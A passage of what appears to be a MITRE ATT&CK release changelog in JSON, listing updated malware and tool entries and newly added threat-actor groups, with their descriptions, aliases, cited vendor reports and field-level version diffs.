\"new_path\": \"root['external_references'][3]['description']\"}, \"root['external_references'][7]['url']\": {\"new_value\": \"https://x.com/ESETresearch/status/1311762215490461696\", \"old_value\": \"https://twitter.com/ESETresearch/status/1311762215490461696\", \"new_path\": \"root['external_references'][3]['url']\"}, \"root['external_references'][5]['description']\": {\"new_value\": \"USCYBERCOM. (2020, October 1). USCYBERCOM Cybersecurity Alert SLOTHFULMEDIA. Retrieved September 12, 2024.\", \"old_value\": \"USCYBERCOM. (2020, October 1). USCYBERCOM Cybersecurity Alert SLOTHFULMEDIA. Retrieved November 16, 2020.\", \"new_path\": \"root['external_references'][7]['description']\"}, \"root['external_references'][5]['url']\": {\"new_value\": \"https://x.com/CNMF_CyberAlert/status/1311743710997159953\", \"old_value\": \"https://twitter.com/CNMF_CyberAlert/status/1311743710997159953\", \"new_path\": \"root['external_references'][7]['url']\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}}", + "previous_version": "1.0" + }, + { + "type": "malware", + "id": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-04 18:42:22.552000+00:00", + "modified": "2024-09-12 19:50:37.023000+00:00", + "name": "Ursnif", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) is a banking trojan and variant of the Gozi malware observed being spread through various automated exploit kits, [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)s, and malicious links.(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016) [Ursnif](https://attack.mitre.org/software/S0386) is associated primarily with data theft, but variants also include components (backdoors, spyware, file injectors, etc.) capable of a wide variety of behaviors.(Citation: TrendMicro Ursnif Mar 2015)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0386", + "external_id": "S0386" + }, + { + "source_name": "Gozi-ISFB", + "description": "(Citation: FireEye Ursnif Nov 2017)(Citation: ProofPoint Ursnif Aug 2016)" + }, + { + "source_name": "Ursnif", + "description": "(Citation: NJCCIC Ursnif Sept 2016)" + }, + { + "source_name": "Dreambot", + "description": "(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016)" + }, + { + "source_name": "PE_URSNIF", + "description": "(Citation: TrendMicro Ursnif Mar 2015)" + }, + { + "source_name": "TrendMicro Ursnif Mar 2015", + "description": "Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.", + "url": "https://web.archive.org/web/20210719165945/https://www.trendmicro.com/en_us/research/15/c/ursnif-the-multifaceted-malware.html?_ga=2.165628854.808042651.1508120821-744063452.1505819992" + }, + { + "source_name": "NJCCIC Ursnif Sept 2016", + "description": "NJCCIC. (2016, September 27). Ursnif. Retrieved September 12, 2024.", + "url": "https://www.cyber.nj.gov/threat-landscape/malware/trojans/ursnif" + }, + { + "source_name": "ProofPoint Ursnif Aug 2016", + "description": "Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality" + }, + { + "source_name": "FireEye Ursnif Nov 2017", + "description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved June 5, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Ursnif", + "Gozi-ISFB", + "PE_URSNIF", + "Dreambot" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 19:50:37.023000+00:00\", \"old_value\": \"2024-04-10 22:18:21.527000+00:00\"}, \"root['external_references'][6]['description']\": {\"new_value\": \"NJCCIC. (2016, September 27). Ursnif. Retrieved September 12, 2024.\", \"old_value\": \"NJCCIC. (2016, September 27). Ursnif. Retrieved June 4, 2019.\"}, \"root['external_references'][6]['url']\": {\"new_value\": \"https://www.cyber.nj.gov/threat-landscape/malware/trojans/ursnif\", \"old_value\": \"https://www.cyber.nj.gov/threat-profiles/trojan-variants/ursnif\"}}}", + "previous_version": "1.5" + }, + { + "type": "malware", + "id": "malware--49abab73-3c5c-476e-afd5-69b5c732d845", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2024-09-04 21:37:24.766000+00:00", + "name": "WINERACK", + "description": "[WINERACK](https://attack.mitre.org/software/S0219) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0219", + "external_id": "S0219" + }, + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "WINERACK" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_aliases']\": [\"WINERACK\"], \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-04 21:37:24.766000+00:00\", \"old_value\": \"2018-10-17 00:14:20.652000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}, \"iterable_item_removed\": {\"root['external_references'][1]\": {\"source_name\": \"WINERACK\", \"description\": \"(Citation: FireEye APT37 Feb 2018)\"}}}", + "previous_version": "1.0" + }, + { + "type": "tool", + "id": "tool--242f3da3-4425-4d11-8f5c-b842886da966", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:32:12.684000+00:00", + "modified": "2024-09-12 15:17:22.004000+00:00", + "name": "Windows Credential Editor", + "description": "[Windows Credential Editor](https://attack.mitre.org/software/S0005) is a password dumping tool. (Citation: Amplia WCE)", + "revoked": false, + "labels": [ + "tool" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0005", + "external_id": "S0005" + }, + { + "source_name": "Amplia WCE", + "description": "Amplia Security. (n.d.). Windows Credentials Editor (WCE) F.A.Q.. Retrieved September 12, 2024.", + "url": "https://web.archive.org/web/20240904163410/https://www.ampliasecurity.com/research/wcefaq.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Windows Credential Editor", + "WCE" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 15:17:22.004000+00:00\", \"old_value\": \"2020-03-30 18:28:34.296000+00:00\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Amplia Security. (n.d.). Windows Credentials Editor (WCE) F.A.Q.. Retrieved September 12, 2024.\", \"old_value\": \"Amplia Security. (n.d.). Windows Credentials Editor (WCE) F.A.Q.. Retrieved December 17, 2015.\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://web.archive.org/web/20240904163410/https://www.ampliasecurity.com/research/wcefaq.html\", \"old_value\": \"http://www.ampliasecurity.com/research/wcefaq.html\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}}", + "previous_version": "1.1" + }, + { + "type": "tool", + "id": "tool--96fd6cc4-a693-4118-83ec-619e5352d07d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2024-09-04 21:09:10.255000+00:00", + "name": "Winexe", + "description": "[Winexe](https://attack.mitre.org/software/S0191) is a lightweight, open source tool similar to [PsExec](https://attack.mitre.org/software/S0029) designed to allow system administrators to execute commands on remote servers. (Citation: Winexe Github Sept 2013) [Winexe](https://attack.mitre.org/software/S0191) is unique in that it is a GNU/Linux based client. (Citation: \u00dcberwachung APT28 Forfiles June 2015)", + "revoked": false, + "labels": [ + "tool" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0191", + "external_id": "S0191" + }, + { + "source_name": "\u00dcberwachung APT28 Forfiles June 2015", + "description": "Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.", + "url": "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/" + }, + { + "source_name": "Winexe Github Sept 2013", + "description": "Skalkotos, N. (2013, September 20). WinExe. Retrieved January 22, 2018.", + "url": "https://github.com/skalkoto/winexe/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Winexe" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_aliases']\": [\"Winexe\"], \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-04 21:09:10.255000+00:00\", \"old_value\": \"2018-10-17 00:14:20.652000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}, \"iterable_item_removed\": {\"root['external_references'][1]\": {\"source_name\": \"Winexe\", \"description\": \"(Citation: Winexe Github Sept 2013) (Citation: \\u00dcberwachung APT28 Forfiles June 2015)\"}}}", + "previous_version": "1.0" + } + ], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "groups": { + "additions": [ + { + "type": "intrusion-set", + "id": "intrusion-set--b8137919-38cb-4db0-90f3-437be885faba", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-05-21 19:13:23.526000+00:00", + "modified": "2024-08-29 15:18:44.308000+00:00", + "name": "Agrius", + "description": "[Agrius](https://attack.mitre.org/groups/G1030) is an Iranian threat actor active since 2020 notable for a series of ransomware and wiper operations in the Middle East, with an emphasis on Israeli targets.(Citation: SentinelOne Agrius 2021)(Citation: CheckPoint Agrius 2023) Public reporting has linked [Agrius](https://attack.mitre.org/groups/G1030) to Iran's Ministry of Intelligence and Security (MOIS).(Citation: Microsoft Iran Cyber 2023)", + "aliases": [ + "Agrius", + "Pink Sandstorm", + "AMERICIUM", + "Agonizing Serpens", + "BlackShadow" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G1030", + "external_id": "G1030" + }, + { + "source_name": "BlackShadow", + "description": "(Citation: CheckPoint Agrius 2023)" + }, + { + "source_name": "Pink Sandstorm", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "AMERICIUM", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "Agonizing Serpens", + "description": "(Citation: Unit42 Agrius 2023)" + }, + { + "source_name": "SentinelOne Agrius 2021", + "description": "Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.", + "url": "https://assets.sentinelone.com/sentinellabs/evol-agrius" + }, + { + "source_name": "CheckPoint Agrius 2023", + "description": "Marc Salinas Fernandez & Jiri Vinopal. (2023, May 23). AGRIUS DEPLOYS MONEYBIRD IN TARGETED ATTACKS AGAINST ISRAELI ORGANIZATIONS. Retrieved May 21, 2024.", + "url": "https://research.checkpoint.com/2023/agrius-deploys-moneybird-in-targeted-attacks-against-israeli-organizations/" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + }, + { + "source_name": "Microsoft Iran Cyber 2023", + "description": "Microsoft Threat Intelligence. (2023, May 2). Iran turning to cyber-enabled influence operations for greater effect. Retrieved May 21, 2024.", + "url": "https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/05/Iran-turning-to-cyber-enabled-influence-operations-for-greater-effect-05022023.pdf" + }, + { + "source_name": "Unit42 Agrius 2023", + "description": "Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.", + "url": "https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Asritha Narina" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--f3be6240-f68e-47e1-90d2-ad8f3b3bb8a6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-07-25 17:13:06.098000+00:00", + "modified": "2024-10-10 14:33:17.448000+00:00", + "name": "Daggerfly", + "description": "[Daggerfly](https://attack.mitre.org/groups/G1034) is a People's Republic of China-linked APT entity active since at least 2012. [Daggerfly](https://attack.mitre.org/groups/G1034) has targeted individuals, government and NGO entities, and telecommunication companies in Asia and Africa. [Daggerfly](https://attack.mitre.org/groups/G1034) is associated with exclusive use of [MgBot](https://attack.mitre.org/software/S1146) malware and is noted for several potential supply chain infection campaigns.(Citation: Symantec Daggerfly 2023)(Citation: ESET EvasivePanda 2023)(Citation: Symantec Daggerfly 2024)(Citation: ESET EvasivePanda 2024)", + "aliases": [ + "Daggerfly", + "Evasive Panda", + "BRONZE HIGHLAND" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G1034", + "external_id": "G1034" + }, + { + "source_name": "Evasive Panda", + "description": "(Citation: Symantec Daggerfly 2023)(Citation: ESET EvasivePanda 2024)" + }, + { + "source_name": "BRONZE HIGHLAND", + "description": "(Citation: Symantec Daggerfly 2023)(Citation: ESET EvasivePanda 2024)" + }, + { + "source_name": "ESET EvasivePanda 2024", + "description": "Ahn Ho, Facundo Mu\u00f1oz, & Marc-Etienne M.L\u00e9veill\u00e9. (2024, March 7). Evasive Panda leverages Monlam Festival to target Tibetans. Retrieved July 25, 2024.", + "url": "https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/" + }, + { + "source_name": "ESET EvasivePanda 2023", + "description": "Facundo Mu\u00f1oz. (2023, April 26). Evasive Panda APT group delivers malware via updates for popular Chinese software. Retrieved July 25, 2024.", + "url": "https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/" + }, + { + "source_name": "Symantec Daggerfly 2023", + "description": "Threat Hunter Team. (2023, April 20). Daggerfly: APT Actor Targets Telecoms Company in Africa. Retrieved July 25, 2024.", + "url": "https://symantec-enterprise-blogs.security.com/threat-intelligence/apt-attacks-telecoms-africa-mgbot" + }, + { + "source_name": "Symantec Daggerfly 2024", + "description": "Threat Hunter Team. (2024, July 23). Daggerfly: Espionage Group Makes Major Update to Toolset. Retrieved July 25, 2024.", + "url": "https://symantec-enterprise-blogs.security.com/threat-intelligence/daggerfly-espionage-updated-toolset" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Furkan Celiik" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-06-06 17:16:38.704000+00:00", + "modified": "2024-10-28 19:03:08.838000+00:00", + "name": "INC Ransom", + "description": "[INC Ransom](https://attack.mitre.org/groups/G1032) is a ransomware and data extortion threat group associated with the deployment of [INC Ransomware](https://attack.mitre.org/software/S1139) that has been active since at least July 2023. [INC Ransom](https://attack.mitre.org/groups/G1032) has targeted organizations worldwide most commonly in the industrial, healthcare, and education sectors in the US and Europe.(Citation: Bleeping Computer INC Ransomware March 2024)(Citation: Cybereason INC Ransomware November 2023)(Citation: Secureworks GOLD IONIC April 2024)(Citation: SentinelOne INC Ransomware)", + "aliases": [ + "INC Ransom", + "GOLD IONIC" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G1032", + "external_id": "G1032" + }, + { + "source_name": "GOLD IONIC", + "description": "(Citation: Secureworks GOLD IONIC April 2024)" + }, + { + "source_name": "Secureworks GOLD IONIC April 2024", + "description": "Counter Threat Unit Research Team. (2024, April 15). GOLD IONIC DEPLOYS INC RANSOMWARE. Retrieved June 5, 2024.", + "url": "https://www.secureworks.com/blog/gold-ionic-deploys-inc-ransomware" + }, + { + "source_name": "Cybereason INC Ransomware November 2023", + "description": "Cybereason Security Research Team. (2023, November 20). Threat Alert: INC Ransomware. Retrieved June 5, 2024.", + "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/threat-alert-inc-ransomware.pdf" + }, + { + "source_name": "SentinelOne INC Ransomware", + "description": "SentinelOne. (n.d.). What Is Inc. Ransomware?. Retrieved June 5, 2024.", + "url": "https://www.sentinelone.com/anthology/inc-ransom/" + }, + { + "source_name": "Bleeping Computer INC Ransomware March 2024", + "description": "Toulas, B. (2024, March 27). INC Ransom threatens to leak 3TB of NHS Scotland stolen data. Retrieved June 5, 2024.", + "url": "https://www.bleepingcomputer.com/news/security/inc-ransom-threatens-to-leak-3tb-of-nhs-scotland-stolen-data/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Matt Anderson, @\u200cnosecurething, Huntress" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-08-26 17:39:06.020000+00:00", + "modified": "2024-10-01 11:51:31.065000+00:00", + "name": "Moonstone Sleet", + "description": "[Moonstone Sleet](https://attack.mitre.org/groups/G1036) is a North Korean-linked threat actor executing both financially motivated attacks and espionage operations. The group previously overlapped significantly with another North Korean-linked entity, [Lazarus Group](https://attack.mitre.org/groups/G0032), but has differentiated its tradecraft since 2023. [Moonstone Sleet](https://attack.mitre.org/groups/G1036) is notable for creating fake companies and personas to interact with victim entities, as well as developing unique malware such as a variant delivered via a fully functioning game.(Citation: Microsoft Moonstone Sleet 2024)", + "aliases": [ + "Moonstone Sleet", + "Storm-1789" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G1036", + "external_id": "G1036" + }, + { + "source_name": "Storm-1789", + "description": "(Citation: Microsoft Moonstone Sleet 2024)" + }, + { + "source_name": "Microsoft Moonstone Sleet 2024", + "description": "Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.", + "url": "https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Aung Kyaw Min Naing, @Nolan" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-09-24 19:48:18.278000+00:00", + "modified": "2024-10-02 05:37:34.149000+00:00", + "name": "Play", + "description": "[Play](https://attack.mitre.org/groups/G1040) is a ransomware group that has been active since at least 2022 deploying [Playcrypt](https://attack.mitre.org/software/S1162) ransomware against the business, government, critical infrastructure, healthcare, and media sectors in North America, South America, and Europe. [Play](https://attack.mitre.org/groups/G1040) actors employ a double-extortion model, encrypting systems after exfiltrating data, and are presumed by security researchers to operate as a closed group.(Citation: CISA Play Ransomware Advisory December 2023)(Citation: Trend Micro Ransomware Spotlight Play July 2023)", + "aliases": [ + "Play" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G1040", + "external_id": "G1040" + }, + { + "source_name": "CISA Play Ransomware Advisory December 2023", + "description": "CISA. (2023, December 18). #StopRansomware: Play Ransomware AA23-352A. Retrieved September 24, 2024.", + "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-352a" + }, + { + "source_name": "Trend Micro Ransomware Spotlight Play July 2023", + "description": "Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.", + "url": "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Marco Pedrinazzi, @pedrinazziM" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-09-23 21:32:19.337000+00:00", + "modified": "2024-09-23 23:11:00.562000+00:00", + "name": "RedCurl", + "description": "[RedCurl](https://attack.mitre.org/groups/G1039) is a threat actor active since 2018 notable for corporate espionage targeting a variety of locations, including Ukraine, Canada and the United Kingdom, and a variety of industries, including but not limited to travel agencies, insurance companies, and banks.(Citation: group-ib_redcurl1) [RedCurl](https://attack.mitre.org/groups/G1039) is allegedly a Russian-speaking threat actor.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2) The group\u2019s operations typically start with spearphishing emails to gain initial access, then the group executes discovery and collection commands and scripts to find corporate data. The group concludes operations by exfiltrating files to the C2 servers. ", + "aliases": [ + "RedCurl" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G1039", + "external_id": "G1039" + }, + { + "source_name": "group-ib_redcurl1", + "description": "Group-IB. (2020, August). RedCurl: The Pentest You Didn\u2019t Know About. Retrieved August 9, 2024.", + "url": "https://www.group-ib.com/resources/research-hub/red-curl/" + }, + { + "source_name": "group-ib_redcurl2", + "description": "Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.", + "url": "https://www.group-ib.com/resources/research-hub/red-curl-2/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Joe Gumke, U.S. Bank" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--674582ec-51c4-42ce-b409-797239e37a2a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-05-25 16:11:54.881000+00:00", + "modified": "2024-08-12 17:32:47.430000+00:00", + "name": "Saint Bear", + "description": "[Saint Bear](https://attack.mitre.org/groups/G1031) is a Russian-nexus threat actor active since early 2021, primarily targeting entities in Ukraine and Georgia. The group is notable for a specific remote access tool, [Saint Bot](https://attack.mitre.org/software/S1018), and information stealer, [OutSteel](https://attack.mitre.org/software/S1017) in campaigns. [Saint Bear](https://attack.mitre.org/groups/G1031) typically relies on phishing or web staging of malicious documents and related file types for initial access, spoofing government or related entities.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )(Citation: Cadet Blizzard emerges as novel threat actor) [Saint Bear](https://attack.mitre.org/groups/G1031) has previously been confused with [Ember Bear](https://attack.mitre.org/groups/G1003) operations, but analysis of behaviors, tools, and targeting indicates these are distinct clusters.", + "aliases": [ + "Saint Bear", + "Storm-0587", + "TA471", + "UAC-0056", + "Lorec53" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G1031", + "external_id": "G1031" + }, + { + "source_name": "Storm-0587", + "description": "(Citation: Cadet Blizzard emerges as novel threat actor)" + }, + { + "source_name": "TA471", + "description": "(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )" + }, + { + "source_name": "UAC-0056", + "description": "(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )" + }, + { + "source_name": "Lorec53", + "description": "(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )" + }, + { + "source_name": "Cadet Blizzard emerges as novel threat actor", + "description": "Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.", + "url": "https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/" + }, + { + "source_name": "Palo Alto Unit 42 OutSteel SaintBot February 2022 ", + "description": "Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.", + "url": "https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--9b36c218-4d80-4ec6-a68d-cc2886bbe410", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-06-14 18:17:18.727000+00:00", + "modified": "2024-06-14 18:39:26.684000+00:00", + "name": "Star Blizzard", + "description": "[Star Blizzard](https://attack.mitre.org/groups/G1033) is a cyber espionage and influence group originating in Russia that has been active since at least 2019. [Star Blizzard](https://attack.mitre.org/groups/G1033) campaigns align closely with Russian state interests and have included persistent phishing and credential theft against academic, defense, government, NGO, and think tank organizations in NATO countries, particularly the US and the UK.(Citation: Microsoft Star Blizzard August 2022)(Citation: CISA Star Blizzard Advisory December 2023)(Citation: StarBlizzard)(Citation: Google TAG COLDRIVER January 2024)\n", + "aliases": [ + "Star Blizzard", + "SEABORGIUM", + "Callisto Group", + "TA446", + "COLDRIVER" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G1033", + "external_id": "G1033" + }, + { + "source_name": "Callisto Group", + "description": "(Citation: CISA Star Blizzard Advisory December 2023)" + }, + { + "source_name": "TA446", + "description": "(Citation: CISA Star Blizzard Advisory December 